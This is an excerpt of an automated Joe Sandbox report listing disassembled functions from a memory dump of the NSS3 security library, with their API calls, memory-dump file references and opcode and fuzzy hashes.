Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CA2DC29,?), ref: 6C9ABE78

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CA2DC29,?), ref: 6C9ABE96

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CA2DC29,?), ref: 6C9ABEBB

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CA2DC29,?), ref: 6C9ABEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CA2DC29,?), ref: 6C9ABEF3

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 0f7d2e4ce7eef083ec3a836de4cf8c8b3f666d146f322db2d18c0c6ab2a6569a
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 8711BB71F001095BEB009BA5AD45FAA3BBCDF4129DF244024EE08D7741EB71D91AC7E1

Function 6C9F4820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C9F4EB8,?), ref: 6C9F4884

Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8821
Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F883D
Part of subcall function 6C9F8800: EnterCriticalSection.KERNEL32(?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8856
Part of subcall function 6C9F8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C9F8887
Part of subcall function 6C9F8800: PR_Unlock.NSS3(?,?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C9F4EB8,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C9F4EB8,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9F48A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9F48B8

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: a5815488f5b5f479da49e4ce9d450ff274dacfecf61a42f057aece39daec3491
Instruction ID: ee42db141de9817424eac68a6e0339e628b1ff1413dfd5505aa79d1913c9be91
Opcode Fuzzy Hash: a5815488f5b5f479da49e4ce9d450ff274dacfecf61a42f057aece39daec3491
Instruction Fuzzy Hash: 42213B76F0024497EF005EA5EE80556777CBF1671C70445A8DF2947B01E731E85ACBA1

Function 6C9E9850 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9E985B

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000038), ref: 6C9E9871

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6CACD9B0,?), ref: 6C9E98A2

Part of subcall function 6C9FE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C9FE245
Part of subcall function 6C9FE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C9FE254

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9E98B7
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C9E9901
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C9E9910

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena_$ArenaFree$ErrorValue$Alloc_AllocateCriticalDecodeEnterInitItem_LockPoolSectionUnlockcalloc
String ID:
API String ID: 2561846027-0
Opcode ID: 055afcc2bec6b32e7c72247c29ff1e48a4807ac347a859fd7198aeab34f99ff7
Instruction ID: 10ec4b9ceea495336d4ab959a46209a6a1da7b5c5ddcc2a75f401bac93a4134f
Opcode Fuzzy Hash: 055afcc2bec6b32e7c72247c29ff1e48a4807ac347a859fd7198aeab34f99ff7
Instruction Fuzzy Hash: AB11E772A4024477FF025F646D81FF63A59AF6939CF060260FE18596D2F771C8A887A1

Function 6CA33C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CA35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA35B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA33D3F

Part of subcall function 6C9ABA90: PORT_NewArena_Util.NSS3(00000800,6CA33CAF,?), ref: 6C9ABABF
Part of subcall function 6C9ABA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CA33CAF,?), ref: 6C9ABAD5
Part of subcall function 6C9ABA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CA33CAF,?), ref: 6C9ABB08
Part of subcall function 6C9ABA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA33CAF,?), ref: 6C9ABB1A
Part of subcall function 6C9ABA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CA33CAF,?), ref: 6C9ABB3B

PR_EnterMonitor.NSS3(?), ref: 6CA33CCB

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

PR_EnterMonitor.NSS3(?), ref: 6CA33CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA33CF8
PR_ExitMonitor.NSS3(?), ref: 6CA33D15
PR_ExitMonitor.NSS3(?), ref: 6CA33D2E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: af35bcdf38948de70f0c7d47bf51fc830f3983a29684c6bc700cb8d42a1de18c
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 111138B56066106FE7215A7AFD5279BB2E4EF11248F005934E48EC7B20E632E85EC242

Function 6C9B89E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C9B88AE,-00000008), ref: 6C9B8A04
EnterCriticalSection.KERNEL32(?), ref: 6C9B8A15
memset.VCRUNTIME140(6C9B88AE,00000000,00000132), ref: 6C9B8A27
PR_Unlock.NSS3(?), ref: 6C9B8A35
memset.VCRUNTIME140(6C9B88AE,00000000,00000132,00000000,-00000008,00000000,?,?,6C9B88AE,-00000008), ref: 6C9B8A45
free.MOZGLUE(6C9B88A6,?,6C9B88AE,-00000008), ref: 6C9B8A4E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: 1a412cd94868faaf474082283753b7d3a8b7a74f0f691e930d1e276b28e36a09
Instruction ID: 2160157981cfc4f1a244bda89035c6a844a3b8af06d26a1f9354b6727f709252
Opcode Fuzzy Hash: 1a412cd94868faaf474082283753b7d3a8b7a74f0f691e930d1e276b28e36a09
Instruction Fuzzy Hash: B81104B5E00302ABEB04AF68DC85A9BBB7CFF19718F044526E918A7600E731E559C7E5

Function 6C9FFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C9FFE08

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C9FFE1D

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C9FFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C9FFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C9FFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C9FFE6F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 419a2923cd7536477f51031c6059f1cf73030cc7f2d426d0e5c14c2c1c02b317
Instruction ID: ce2560a7f996ec9f2d528d6c2b51e85e12bf30543fc84962603b2bf97939dd5d
Opcode Fuzzy Hash: 419a2923cd7536477f51031c6059f1cf73030cc7f2d426d0e5c14c2c1c02b317
Instruction Fuzzy Hash: C11148B7A00201ABEB008F54EC40A5B77DCAF1529DF208034F93C87B12E731E959C791

Function 6CA0B990 Relevance: 9.1, APIs: 6, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,00000000,?,FFFFFFFF,?,6CA0A78B,?), ref: 6CA0B9A4

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000014,?), ref: 6CA0B9B5

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PK11_HashBuf.NSS3(00000004,00000000,E4840FC0,89000000,?,?,?), ref: 6CA0B9D9

Part of subcall function 6C9CDDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C9CDDEC
Part of subcall function 6C9CDDD0: PK11_DigestBegin.NSS3(00000000), ref: 6C9CDE70
Part of subcall function 6C9CDDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C9CDE83
Part of subcall function 6C9CDDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6C9CDE95
Part of subcall function 6C9CDDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C9CDEAE
Part of subcall function 6C9CDDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C9CDEBB

PR_SetError.NSS3(FFFFE013,00000000,?,?,?), ref: 6CA0B9EC
SGN_CreateDigestInfo_Util.NSS3(00000004,00000000,00000014,?,?,?,?,?,?,?), ref: 6CA0B9FD
PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CA0BA0A

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_Util$Digest$Arena$Arena_Value$Alloc_AllocateBeginContextCreateCriticalDestroyEnterErrorFinalFindFreeHashInfo_InitLockPoolResultSectionTag_Unlockcalloc
String ID:
API String ID: 2979523880-0
Opcode ID: 6af475452566dea36314ae8299f84ba9469c5cb4869aaa8fd19007185aaf2503
Instruction ID: 822f64e5b87193bc069a392532487fe770f2d00c364b720cfa58694b79be3333
Opcode Fuzzy Hash: 6af475452566dea36314ae8299f84ba9469c5cb4869aaa8fd19007185aaf2503
Instruction Fuzzy Hash: BA01FC77B4030527FB0016617D42FA225498BE17DDF190230FF189A792FBA1D59842B1

Function 6CAAFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CAAFD9E

Part of subcall function 6CA69BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C991A48), ref: 6CA69BB3
Part of subcall function 6CA69BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C991A48), ref: 6CA69BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CAAFDB9

Part of subcall function 6C98A900: TlsGetValue.KERNEL32(00000000,?,6CB014E4,?,6C924DD9), ref: 6C98A90F
Part of subcall function 6C98A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C98A94F

PR_Unlock.NSS3 ref: 6CAAFDD4
PR_Lock.NSS3 ref: 6CAAFDF2
PR_NotifyAllCondVar.NSS3 ref: 6CAAFE0D
PR_Unlock.NSS3 ref: 6CAAFE23

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 26fdd3485a00441ac10b3dd3e6fc2004facd88e7a90c718a0ba73d6113c0bd07
Instruction ID: 8f21bfacc4e0e2cba4b708d135392c747718f22c75b65e0de1f8b34c1113e8b8
Opcode Fuzzy Hash: 26fdd3485a00441ac10b3dd3e6fc2004facd88e7a90c718a0ba73d6113c0bd07
Instruction Fuzzy Hash: FA01A1B6B002019BDF098F65FD008857671FB2226C7184378E82647BF1E722DD69CB81

Function 6CA36840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6CA3AA9B,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA36846

Part of subcall function 6C991770: calloc.MOZGLUE(00000001,0000019C,?,6C9915C2,?,?,?,?,?,00000001,00000040), ref: 6C99178D

PR_NewMonitor.NSS3(00000000,?,6CA3AA9B,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA36855

Part of subcall function 6C9F8680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C9A55D0,00000000,00000000), ref: 6C9F868B
Part of subcall function 6C9F8680: PR_NewLock.NSS3(00000000,00000000), ref: 6C9F86A0
Part of subcall function 6C9F8680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C9F86B2
Part of subcall function 6C9F8680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C9F86C8
Part of subcall function 6C9F8680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C9F86E2
Part of subcall function 6C9F8680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C9F86EC
Part of subcall function 6C9F8680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C9F8700

PR_NewMonitor.NSS3(?,6CA3AA9B,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA3687D

Part of subcall function 6C991770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C9918DE
Part of subcall function 6C991770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C9918F1

PR_NewMonitor.NSS3(?,6CA3AA9B,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA3688C

Part of subcall function 6C991770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C9918FC
Part of subcall function 6C991770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C99198A

PR_NewLock.NSS3 ref: 6CA368A5

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PR_NewLock.NSS3 ref: 6CA368B4

Part of subcall function 6CA698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA69946
Part of subcall function 6CA698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9216B7,00000000), ref: 6CA6994E
Part of subcall function 6CA698D0: free.MOZGLUE(00000000), ref: 6CA6995E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 11cce3f9fa810f93353fefc1380901845c119b85774c415f23b4b1054a1a5527
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: E901FFB1601B1746EB516F7649283E7B6E86F16688F18143D886DC5B40EF61D4488BA1

Function 6CA0B920 Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000000C,00000000,FFFFFFFF,?,6CA0AD91), ref: 6CA0B927

Part of subcall function 6CA00D30: calloc.MOZGLUE ref: 6CA00D50
Part of subcall function 6CA00D30: TlsGetValue.KERNEL32 ref: 6CA00D6D

PORT_ZAlloc_Util.NSS3(00000010), ref: 6CA0B93B
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6CA0B950

Part of subcall function 6C9F3F50: TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C9DE80C,00000000,00000000,?,?,?,?,6C9E8C5B,-00000001), ref: 6C9F3FA1
